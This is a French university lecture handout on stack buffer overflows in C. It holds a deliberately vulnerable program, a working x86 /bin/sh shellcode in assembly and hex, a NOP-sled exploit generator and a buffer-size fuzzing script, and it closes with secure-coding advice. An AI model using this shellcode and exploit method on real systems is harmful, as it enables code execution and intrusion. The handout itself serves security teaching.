

## Pratique du C Débordement de tampon

Licence Informatique — Université Lille 1  
Pour toutes remarques : Alexandre.Sedoglav/C/Cours10.pdf

Semestre 5 — 2012-2013

V-2 (09-03-2012)

### Technique du débordement de pile : un problème d'utilisation de la pile d'exécution

La technique de débordement de pile est très utilisée pour exécuter du code malveillant. Pour ce faire, il faut qu'une application critique présente une vulnérabilité. Par exemple :

```
#include <stdio.h>
#define TAILLE 88
#define STOP '\xF8'
void lecture(FILE *flux){ char tampon[TAILLE] ;
                        unsigned int foo = 0 ;
                        /* le probl'eme est dans la ligne suivante */
                        while ( (tampon[foo++] = fgetc(flux)) != STOP ) ;
}
int main(void){ FILE *fichier = fopen("piege", "r") ;
                lecture(fichier) ;
                fclose(fichier) ;
                return 0 ;
}
```

La condition d'arrêt '\xF8' est adoptée pour simplifier la suite de nos manipulations.

V74 (09-03-2012)

### Le débordement de pile proprement dit : exemple d'écrasement de l'adresse de retour

Le débordement de pile consiste à modifier l'adresse de retour à l'exemple du code suivant :

```
#include <stdio.h>
void function(void){
    int foo = 0 ;
    int *ret = &foo ;

    ret += 3 ;
    (*ret) += 7 ;
}
int main(void){
    int x = 0 ;
    function() ;
    x = 1 ;
    printf("%d\n", x) ;
    return 0 ;
}
```

L'exécution de ce programme affiche 0 et non 1. Attention, cette astuce est intimement liée à l'architecture de l'ordinateur exécutant le code.

V74 (09-03-2012)

www.fil.univ-lille1.fr/~sedoglav/C/Cours10.pdf V74 (09-03-2012)

## Avertissement

Les codes de bas niveau suivants correspondent à une architecture — pentium — aujourd'hui obsolète.

Les principes généraux restent tout de même valables sur les machines actuelles.

L'objectif principal est d'illustrer l'usage de la pile tout en sensibilisant au maximum l'auditoire à la nécessité de la *pratique* du langage.

*Quand on a dépassé les bornes, il n'y a pas de limite.*

www.fil.univ-lille1.fr/~sedoglav/C/Cours10.pdf

La fonction `getchar` pourrait être remplacée par n'importe quelle fonction remplissant la mémoire tampon à partir d'une socket, du clavier, etc. L'erreur de programmation est d'autoriser à écrire plus de `TAILLE` octets dans tampon.

%ESP	tampon var. loc.
%EBP	%EBP1
	adresse de retour
	paramètres
	:

La fonction `getchar` ne vérifie pas le nombre d'octets qu'elle copie dans le buffer tampon.

Si par erreur le tampon est rempli, elle continue malgré tout son travail et écrase l'adresse de retour ce qui provoque une erreur lors du ret.

L'*instruction* exécutée après le ret est celle se trouvant à l'adresse spécifiée par ce que `getchar` a placée sur la pile.

avant le call

x = 0
main %EBP

après le call

adresse de retour
x = 0
main %EBP

dans fonction

ret = &foo
foo = 0
adresse de retour
x = 0
main %EBP

- ▶ Initialement, le pointeur `ret` dans la pile pointe sur la variable `foo`.
- ▶ Après incrémentation de 1, le pointeur `ret` pointe sur l'adresse de retour.
- ▶ On peut ainsi incrémenter cette dernière et ne pas exécuter l'instruction suivant le call dans la fonction appelante i.e. l'affectation de 1 à `x` dans la fonction `main` (à condition de savoir sur combien d'octets elle est codée).

www.fil.univ-lille1.fr/~sedoglav/C/Cours10.pdf

## Quel code voudrait on voir s'exécuter

Prenons maintenant la question sous un autre angle : quelles instructions devrions nous faire exécuter pour contrôler la ressource exécutant le code vulnérable ? Si on dispose d'appels système, d'un shell et de commandes externes, tout est permis :

```
#include <stdio.h>
char *name[2] ;
int main(void){ name[0] = "/bin/sh"      ;
                  name[1] = NULL        ;
                  execve(name[0],name,NULL) ; }
```

Dans ce cas, un shell est ouvert à l'agresseur qui peut faire ce qu'il veut avec les droits du propriétaire du code attaqué. Un dévermineur permet de voir ce que fait le processeur en exécutant ce code. Mais comme nous maîtrisons l'assembleur, utilisons le.

## Après compilation et avant édition de liens

```
                .text
0000 2F62696E txt:  .string "/bin/sh"
                2F736800
0008 00000000      .long txt      /* En prime on obtient
000c 00000000      .long 0        m\`eme le code
                .globl _start    hexad\`ecimal
0010 B80B0000 _start: movl $0xb,%eax correspondant i.e.
                00              le code dans le
0015 BB000000      movl $txt,%ebx segment de code
                00              ex\`ecut\`e par
001a B9080000      movl $txt+8,%ecx la machine    */
                00
001f 89CA          movl %ecx,%edx
0021 83C204        addl $4,%edx
0024 CD80          int $0x80
0026 BB000000 done: movl $0,%ebx
                00
002b B8010000      movl $1,%eax
                00
0030 CD80          int $0x80
```

## Application de ce principe

```
0000 E8100000 call .+0x15
                00
0005 2F62696E .string "/bin/sh"
                2F736800
000d 00000000 .long 0          /* pour un pointeur    */
0011 00000000 .long 0          /* NULL              */
0015 5B       pop %ebx    /* adresse de "/bin/sh" */
0016 895B08   movl %ebx,8(%ebx) /* placer le pointeur */
0019 B80B0000 movl $0xb,%eax /* num\`ero de l'appel */
                00
001e 8D4B08   leal 8(%ebx), %ecx
0021 8D530C   leal 12(%ebx), %edx
0024 CD80     int $0x80
0026 BB000000 movl $0,%ebx    /* pour sortir proprement */
                00
002b B8010000 movl $1,%eax
                00 CD80   int $0x80
```

Ce code ne peut pas marcher comme un processus normal car il écrit dans le segment de code... mais on peut le faire par débordement.

## Traduction en code assembleur

Le code précédent s'exprime en assembleur par un appel système (codé par une interruption plutôt qu'un call execve) :

```
.text
txt:
    .string "/bin/sh"
    .long txt
    .long 0
.globl _start
_start:
    movl $0xb,%eax    /* num\`ero de l'appel syst\`eme */
    movl $txt,%ebx    /* nom du programme \`a ex\`ecuter */
    movl $txt+8,%ecx  /* argument du shell */
    movl %ecx,%edx    /* variables d'environnement */
    addl $4,%edx
    int $0x80

done:
    movl $0,%ebx    /* Ces instructions permettent de */
    movl $1,%eax    /* terminer l'ex\`ecution du code */
    int $0x80    /* assembleur et sont indispensables */
```

## Adressage relatif des étiquettes

Le premier problème rencontré est que l'on ne sait pas où ce trouve les données de notre programme en mémoire i.e. on ne connaît pas l'étiquette txt.

Pour s'en sortir, on se sert de la pile — une fois encore — et du fait que les instructions call et jmp peuvent prendre un argument relatif (une constante).

Si on place un call juste avant les données, l'adresse de retour — correspondant aux données — sera empilée et pourra être dépilée avec un pop.

Il ne restera plus qu'à récupérer cette adresse et brancher sur le code que l'on désire exécuter.

## Comment tester notre code

Le code exécutable ci-dessus peut être placé dans une variable automatique :

```
void bar(void){
    int foo, *pfoo = &foo ;
    char shellcode[] = "\xE8\x10\x00\x00\x00\x2F\x62\x69\x6E"
                      "\x2F\x73\x68\x00\x00\x00\x00\x00\x00"
                      "\x00\x00\x00\x5B\x89\x5B\x08\xB8\x0B"
                      "\x00\x00\x00\x8D\x4B\x08\x8D\x53\x0C"
                      "\xCD\x80\xBB\x00\x00\x00\x00\xB8\x01"
                      "\x00\x00\x00\xCD\x80" ;

    /* canoniquement void (*foo)()=(void *) shellcode; foo(); */
    /* mais pour notre propos, \`e crasons l'adresse de retour */
    *(pfoo+5) = shellcode ; /* heureusement, C est laxiste */
}
```

```
int main(void){ bar() ; return 0 ; }
```

Le shellcode pourrait être stocké dans un fichier texte lu par le code vulnérable.

## Pourquoi la pile serait-elle exécutable ?

Avec un peu de chance i.e. une architecture laxiste, le code sur la pile est exécuté :

```
% ./mshell1
sh-2.05b%
```

En théorie, chaque segment (données, code, pile) est indépendant des autres et l'accès est contrôlé. Depuis le 80386, des mécanismes physiques interdisent d'exécuter le contenu d'un segment hors code. Mais en pratique (au moins pour Linux et Windows), certains segments sont partagés (ss, ds, es) et d'autres se recouvrent (cs) :

cs	0x23	35	ds	0x2b	43
ss	0x2b	43	es	0x2b	43

En effet, l'adressage d'un segment se fait sur 2<sup>32</sup> octets i.e. 4 giga octets (toute la mémoire actuellement disponible).

## Quelle doit être la nouvelle adresse de retour ?

On connaît la distance entre le début du buffer et l'adresse de retour. De plus, on peut — dans notre cas — avoir une vague idée de l'adresse du sommet de la pile. La fonction suivante retourne le pointeur de pile :

```
unsigned int SommetPile(void){ int main(void){
    __asm__("movl %esp,%eax") ; printf("%lu\n",SommetPile());
}                               return 0 ;
}
```

La pile est partagée par plusieurs processus apparentés et on peut parier sur la taille des empilements fait par le code cible avant de passer dans la zone vulnérable.

adresse de retour = ancien pointeur de pile + taille buffer + imprécisions

Encore une fois, chaque pile associée à un processus devrait être indépendante des autres... mais ce n'est pas le cas.

## Plaçons le piège

```
#include<stdio.h>
#define SHELLCODESIZE 50
char shellcode[] = "\xE8\x10\x00\x00" etc. "\x00\xCD\x80" ;
int main(int argc, char **argv){
    unsigned long int i, taille, base ;
    base = strtoul(argv[2],NULL,0) ;
    base -= taille = strtoul(argv[1],NULL,0) ;
    base -= strtoul(argv[3],NULL,0);
    for( i=0 ; i<taille-SHELLCODESIZE ; i++)
        putchar('\x90');
    for( i=0 ; i<SHELLCODESIZE ; i++)
        putchar(shellcode[i]);
    char * res = (char *) &base ;
    for(i=0;i<sizeof(int);i++) /* le piege fonctionne
        putchar(*(res+i));      %exploit 108 'SommetPile' 0>piege
    putchar('\xF8') ;          % vulnerable
    return 0 ;                 sh-2.05b$
}                               */
```

## Déterminer la distance entre le début du buffer du code vulnérable et l'adresse de retour

Pour connaître les limites, on peut pousser à la faute. Dans notre cas, on peut soumettre des fichiers de plus en plus grand au programme vulnérable :

```
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char **argv){
    int i ;
    if(argc!=2)
        return 1 ;
    FILE *fichier = fopen("piege","w") ; /*
    i = atoi(argv[1]) ;                  % ./taillebuffer 99
    for(;i>0;i--)                        % ./vulnerable
        fputc('a',fichier) ;            % ./taillebuffer 100
                                        % ./vulnerable
                                        Segmentation fault
    fputc('\xF8',fichier) ;              */
    fclose(fichier) ;
    return 0 ;
}
```

## Mise en place du piège, gestion de l'imprécision, etc.

Mais tout cela reste approximatif. Comment s'en contenter alors que l'adresse de la prochaine instruction à exécuter doit être précise ?

L'instruction assembleur nop (ne rien faire) codée en hexadécimal par 90 peut compléter notre shellcode sans perturber son fonctionnement.

Il suffit de commencer à remplir le buffer avec cette instruction. Même si l'adresse de retour est trop grande, l'instruction désignée sera un nop et tous les nop seront exécuter sans conséquence avant l'exécution du shellcode.

De plus, on s'autorise plusieurs tentatives en faisant varier la taille du buffer par exemple.

## Quelques remarques

Il existe des architectures n'utilisant pas le passage de paramètres par la pile (PowerPC pour un petit nombre de paramètres par exemple — mais pour un grand nombre, une pile d'exécution est utilisée).

Attention le cas échéant à supprimer l'ensemble des 0 — sinon un scanf par exemple le prendrait pour la fin de la chaîne à charger. Pour s'en sortir il faut écrire du code équivalent :

```
\xB8\x0B\x00\x00\x00 movl $0xb,%eax
\x31\xC0               xor %eax,%eax /*mets %eax \`a z\'ero*/
\xB0\x0B               movb $0xb,%al
```

C'est du beau "computer art", une disparition à la Perec... Le choix de la condition d'arrêt ('\xF8') dans notre exemple provient du fait qu'EOF est codé par ('\xFF') et que ce caractère intervient dans la définition de l'adresse à laquelle on veut brancher dans la pile : le shell code n'est donc pas lu jusqu'au bout.

## Comment placer notre piège

Il faut découvrir une faiblesse dans le code attaqué :

- ▶ soit on désassemble le code (consulter le code octal) ;
- ▶ soit on consulte les faiblesses publiées par le concepteur du programme (ou les utilisateurs).

Ensuite, il ne reste plus qu'à préparer le piège — construire le code assembleur ouvrant une faille — et le soumettre à la cible :

- ▶ dans notre cas, mettre le piège dans un fichier et le faire lire par le code vulnérable ;
- ▶ pour l'attaque d'un serveur, scanner systématiquement les ports de machines pour voir s'ils abritent un service vulnérable.

Le code piège peut ne pas être un fichier mais dans des paquets soumis à un serveur qui lit sur un port de la machine cible. . .

En 2001, CodeRed a infecté 400 000 serveurs windows en utilisant un débordement de pile.

## Morale à retenir

Il est important de toujours tenir compte de la taille des tampons et de faire attention lors de l'usage de fonctions :

proscrire	utiliser
gets	fgets
strcpy	strncpy
strcat	strncat
scanf, sprintf, etc.	

Certains compilateur prennent en charge l'interdiction du débordement de tampon (patch StackShield pour gcc).

Un fichier au format ELF contient un drapeau indiquant si le noyau ou l'éditeur de liens dynamique doivent considérer la pile comme exécutable ou pas. Le programme execstack permet de manipuler ce drapeau.